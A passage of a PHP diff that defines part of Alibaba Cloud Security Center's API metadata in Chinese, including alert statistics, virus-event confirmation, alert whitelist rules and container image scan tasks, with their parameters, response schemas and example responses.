+ .'- **clusterName**：集群名称'."\n" + .'- **image**：镜像名称'."\n" + .'- **imageRepoName**：镜像的仓库名称'."\n" + .'- **imageRepoNamespace**：镜像的仓库命名空间'."\n" + .'- **imageRepoTag**：镜像的标签'."\n" + .'- **imageDigest**：镜像摘要', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的字段的值。存在多个值时，使用英文逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'c951761046a9c4afe92be0a7b5bexxxxx', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '查询类型。取值：'."\n" + ."\n" + .'- **containerId**：容器ID'."\n" + .'- **uuid**：资产ID', + 'type' => 'string', + 'required' => false, + 'example' => 'uuid', + ], + ], + [ + 'name' => 'MultiAccountActionType', + 'in' => 'query', + 'schema' => [ + 'description' => '多账号查询类型。默认值为**0**。取值：'."\n" + .'- **0**：查询当前账号数据'."\n" + .'- **1**：查询所有账号数据', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求的响应结果。', + 'type' => 'object', + 'properties' => [ + 'EventLevels' => [ + 'description' => '告警的不通危险等级统计。', + 'type' => 'object', + 'properties' => [ + 'Serious' => [ + 'description' => '告警级别为紧急的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Suspicious' => [ + 'description' => '告警级别为可疑的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Remind' => [ + 'description' => '告警级别为提醒的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'CE8CA5EA-24EF-5D41-B735-53ACE7XXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"EventLevels\\": {\\n \\"Serious\\": 0,\\n \\"Suspicious\\": 1,\\n \\"Remind\\": 2\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CE8CA5EA-24EF-5D41-B735-53ACE7XXXXX\\"\\n}","type":"json"}]', + 'title' => '根据等级统计告警事件的总数', + ], + 'SaveSuspEventUserSetting' => [ + 'summary' => '保存用户安全告警设置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '157281', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件数据的来源，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'LevelsOn', + 'in' => 'query', + 'schema' => [ + 'description' => '告警通知的告警级别。取值：'."\n" + .'- **remind**：提醒'."\n" + .'- **suspicious**：可疑'."\n" + .'- **serious**：紧急', + 'type' => 'string', + 'required' => false, + 'example' => 'suspicious,serious,remind', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求响应结果。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '请求响应结果状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AE6229A0-BDBE-534C-A3F8-095EBXXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"AE6229A0-BDBE-534C-A3F8-095EBXXXXXX\\"\\n}","type":"json"}]', + 'title' => '保存用户设置', + ], + 'ConfirmVirusEvents' => [ + 'summary' => '二次确认病毒扫描告警处置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '91915', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'OperationCode', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的处理方式。取值：'."\n" + ."\n" + .'- **default**：深度查杀'."\n" + .'- **ignore**：忽略'."\n" + .'- **advance\\_mark\\_mis_info**：加白名单'."\n" + .'- **manual_handled**：我已手工处理', + 'type' => 'string', + 'required' => true, + 'example' => 'default', + ], + ], + [ + 'name' => 'OperationRange', + 'in' => 'query', + 'schema' => [ + 'description' => '病毒防御告警的处置范围。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"type\\":\\"machine\\",\\"list\\":[\\"3aedba3d-bd4d-4dfb-bb0d-xxxxxxxxxxxx\\"]}]', + ], + ], + [ + 'name' => 'OperationAll', + 'in' => 'query', + 'schema' => [ + 'description' => '是否全部处理。取值：'."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Result' => [ + 'description' => '请求处理结果。取值：'."\n" + .'- true：处理成功'."\n" + .'- false：处理失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', + 'title' => '二次确认病毒事件', + ], + 'ModifySecurityEventMarkMissIndividually' => [ + 'summary' => '按照资产维度，调整安全告警的高级加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'InsertMarkMissParam', + 'in' => 'formData', + 'schema' => [ + 'title' => '与高级加白格式保持一致', + 'description' => '新增的告警加白规则。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"field\\":\\"location\\",\\"operate\\":\\"contains\\",\\"eventType\\":\\"SIL_AI_ALERT\\",\\"eventName\\":\\"login_common_ip\\",\\"fieldValue\\":\\"xx\\",\\"uuids\\":\\"4296ee47-bf19-4fa4-a4a6-6bxxxxxxxxx\\"}]', + ], + ], + [ + 'name' => 'DeleteMarkMissParam', + 'in' => 'formData', + 'schema' => [ + 'title' => '与高级加白格式保持一致', + 'description' => '删除的告警加白规则。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"field\\":\\"loginSourceIp\\",\\"operate\\":\\"contains\\",\\"eventType\\":\\"SIL_AI_ALERT\\",\\"eventName\\":\\"login_common_ip\\",\\"fieldValue\\":\\"10.12.XX.XX\\",\\"uuids\\":\\"\\"}]', + ], + ], + [ + 'name' => 'From', + 'in' => 'formData', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'formData', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '127.0.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回的结果。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '返回的查询结果的状态。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '处理告警事件的返回码。'."\n" + .'- **200**：表示处理成功。'."\n" + .'- 其它：表示处理失败。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'A37B852F-E346-5FF2-82BD-D1F1DXXXXXX', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '请求处理的耗时，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A37B852F-E346-5FF2-82BD-D1F1DXXXXXX\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '安全告警高级加白规则调整', + ], + 'CreateContainerScanTask' => [ + 'summary' => '创建容器扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '149703', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'title' => '集群id', + 'description' => '容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c22143730ab6e40b09ec7c1c51d4d****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ContainerIds', + 'in' => 'query', + 'schema' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c927cf190e886696db53cda0efb57145394ccf0bf9f525353fa5c22a26e4****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '任务创建结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '任务创建结果。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'title' => '任务id', + 'description' => '任务ID。', + 'type' => 'string', + 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', + ], + 'TotalCount' => [ + 'title' => '总任务数量', + 'description' => '总任务数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '62', + ], + 'FinishCount' => [ + 'title' => '完成数量', + 'description' => '完成数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '33', + ], + 'CollectTime' => [ + 'title' => '采集时间.', + 'description' => '采集时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'ExecTime' => [ + 'title' => '任务运行时间.', + 'description' => '任务运行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'Status' => [ + 'title' => '任务状态', + 'description' => '任务状态。', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Progress' => [ + 'title' => '任务进度', + 'description' => '任务进度。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Result' => [ + 'title' => '任务结果', + 'description' => '任务结果。', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'CanCreate' => [ + 'title' => '是否能创建新的任务', + 'description' => '是否能创建新的任务。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9F4E6157-9600-5588-86B9-38F09067****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"TotalCount\\": 62,\\n \\"FinishCount\\": 33,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n },\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '创建容器扫描任务', + ], + 'DescribeTotalStatistics' => [ + 'summary' => '获取事件统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~130972~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '8076980', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '资产名称或公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '222.185.XX.XX', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '数据的请求来源。默认**aqs**。取值：'."\n" + .'- **sas**：表示数据请求来源为云安全中心'."\n" + .'- **aqs**：表示数据请求来源为安骑士', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'SuspiciousmediumTotal' => [ + 'description' => '告警级别为可疑的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '28', + ], + 'VulLaterSum' => [ + 'description' => '漏洞级别为中的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Trojan' => [ + 'description' => 'WebShell告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Suspicious' => [ + 'description' => '安骑士安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HealthlowTotal' => [ + 'description' => '紧急程度为低的基线检查数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Patch' => [ + 'description' => 'Web-CMS漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SuspiciousseriousTotal' => [ + 'description' => '告警级别为紧急的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'VulAsapSum' => [ + 'description' => '漏洞级别为高的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + 'Online' => [ + 'description' => '客户端是否在线。取值：'."\n" + .'- **true**：在线'."\n" + .'- **false**：离线', + 'type' => 'boolean', + 'example' => 'true', + ], + 'HealthmediumTotal' => [ + 'description' => '等级为中的基线风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Newsuspicious' => [ + 'description' => '安骑士或云安全中心告警数量。'."\n" + ."\n" + .'> - 若**Type**为 **sas**：该数据表示云安全中心告警数量'."\n" + .'> - 若**Type**为 **aqs**：表示安骑士告警数量', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Account' => [ + 'description' => '资产登录次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulDealedTotal' => [ + 'description' => '已修复漏洞总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SuspiciousTotal' => [ + 'description' => '安全告警总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SuspiciousdealedTotal' => [ + 'description' => '已处理安全告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HealthdealedTotal' => [ + 'description' => '已修复基线检查总数。该字段已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SuspicioushighTotal' => [ + 'description' => '安全告警总数。该字段已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulNntfSum' => [ + 'description' => '等级为低的待修复漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulTotal' => [ + 'description' => '漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SuspiciouslowTotal' => [ + 'description' => '告警级别为提醒的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HealthTotal' => [ + 'description' => '基线检查总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Vul' => [ + 'description' => '未修复的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Health' => [ + 'description' => '未修复的基线检查总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HealthseriousTotal' => [ + 'description' => '紧急程度为紧急的基线检查数量。该字段已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HealthhighTotal' => [ + 'description' => '紧急程度为高危的基线检查数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SuspiciousmediumTotal\\": 28,\\n \\"VulLaterSum\\": 0,\\n \\"Trojan\\": 0,\\n \\"Suspicious\\": 0,\\n \\"HealthlowTotal\\": 0,\\n \\"Patch\\": 0,\\n \\"SuspiciousseriousTotal\\": 0,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"VulAsapSum\\": 16,\\n \\"Online\\": true,\\n \\"HealthmediumTotal\\": 0,\\n \\"Newsuspicious\\": 0,\\n \\"Account\\": 0,\\n \\"VulDealedTotal\\": 0,\\n \\"SuspiciousTotal\\": 0,\\n \\"SuspiciousdealedTotal\\": 0,\\n \\"HealthdealedTotal\\": 0,\\n \\"SuspicioushighTotal\\": 0,\\n \\"VulNntfSum\\": 0,\\n \\"VulTotal\\": 0,\\n \\"SuspiciouslowTotal\\": 0,\\n \\"HealthTotal\\": 0,\\n \\"Vul\\": 0,\\n \\"Health\\": 0,\\n \\"HealthseriousTotal\\": 0,\\n \\"HealthhighTotal\\": 0\\n}","type":"json"}]', + 'title' => '获取事件统计', + ], + 'DescribeImageLatestScanTask' => [ + 'summary' => '查询镜像最近的扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Digest', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像Digest值。', + 'type' => 'string', + 'required' => true, + 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '扫描任务数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', + ], + 'Task' => [ + 'description' => '任务信息。', + 'type' => 'array', + 'items' => [ + 'description' => '任务信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '任务状态。取值：'."\n" + ."\n" + .'- **PROCESSING**：任务执行中'."\n" + .'- **START**：任务启动中'."\n" + .'- **MESSAGE_SEND**：检测分发中'."\n" + .'- **PRE_ANALYZER**：镜像预检中'."\n" + .'- **SUCCESS**：任务执行成功'."\n" + .'- **FAIL**：任务执行失败'."\n" + .'- **TIMOUT**：任务执行超时', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Modified' => [ + 'description' => '任务最新修改时间。格式为: yyyy-MM-ddTHH:mm:ss。', + 'type' => 'string', + 'example' => '2022-12-20 12:00:05', + ], + 'FinishTime' => [ + 'description' => '任务的结束时间。当任务状态为Finished时，此参数才有值，否则返回值为空。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1669693430977', + ], + 'Create' => [ + 'description' => '任务创建时间。格式为: yyyy-MM-ddTHH:mm:ss。', + 'type' => 'string', + 'example' => '2022-12-20 11:59:05', + ], + 'Finish' => [ + 'description' => '已完成的镜像任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Source' => [ + 'description' => '创建方式，可以为通过控制台创建或接口。取值：'."\n" + ."\n" + .'- **console_batch**：控制台'."\n" + .'- **openapi**：公开接口', + 'type' => 'string', + 'example' => 'console_batch', + ], + 'StartTime' => [ + 'description' => '任务开始时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1668614400000', + ], + 'TaskType' => [ + 'description' => '任务类型。取值：'."\n" + .'- **IMAGE\\_SCAN**：镜像扫描', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'Name' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'TaskId' => [ + 'description' => '扫描任务的ID。', + 'type' => 'string', + 'example' => '0a960b9a48b788a8689154b032bf****', + ], + 'Target' => [ + 'description' => '目标镜像Digest。', + 'type' => 'string', + 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', + ], + 'Id' => [ + 'description' => '任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '9755662', + ], + 'TargetType' => [ + 'description' => '扫描目标类型。取值：'."\n" + ."\n" + .'- **IMAGE**：镜像', + 'type' => 'string', + 'example' => 'IMAGE', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"Task\\": [\\n {\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Modified\\": \\"2022-12-20 12:00:05\\",\\n \\"FinishTime\\": 1669693430977,\\n \\"Create\\": \\"2022-12-20 11:59:05\\",\\n \\"Finish\\": 100,\\n \\"Source\\": \\"console_batch\\",\\n \\"StartTime\\": 1668614400000,\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"Name\\": \\"IMAGE_SCAN\\",\\n \\"TaskId\\": \\"0a960b9a48b788a8689154b032bf****\\",\\n \\"Target\\": \\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****\\",\\n \\"Id\\": 9755662,\\n \\"TargetType\\": \\"IMAGE\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询镜像最近的扫描状态', + ], + 'DescribeImageRepoList' => [ + 'summary' => '获取镜像防御开关配置统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '防御开关类型。取值：'."\n" + .'- **image_repo**：镜像仓防御', + 'type' => 'string', + 'required' => true, + 'example' => 'image_repo', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '防御开关的配置的操作维度。取值：'."\n" + .'- **image_repo**：镜像仓ID', + 'type' => 'string', + 'required' => true, + 'example' => 'image_repo', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的名称。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'script7', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库的命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'OperateType', + 'in' => 'query', + 'schema' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **count**：统计'."\n" + .'- **other**：其他', + 'type' => 'string', + 'required' => false, + 'example' => 'count', + ], + ], + [ + 'name' => 'FieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '检索字段。取值：'."\n" + ."\n" + .'- **repoName**：镜像仓名称'."\n" + .'- **repoNamespace**：镜像仓命名空间'."\n" + ."\n" + .'> **OperateType**为**other**时该参数有效。', + 'type' => 'string', + 'required' => false, + 'example' => 'repoName', + ], + ], + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '检索字段对应值。'."\n" + .'> **OperateType**为**other**时该参数有效。', + 'type' => 'string', + 'required' => false, + 'example' => 'zeus', + ], + ], + [ + 'name' => 'Selected', + 'in' => 'query', + 'schema' => [ + 'description' => '是否勾选。取值：'."\n" + .'- **0**：否'."\n" + .'- 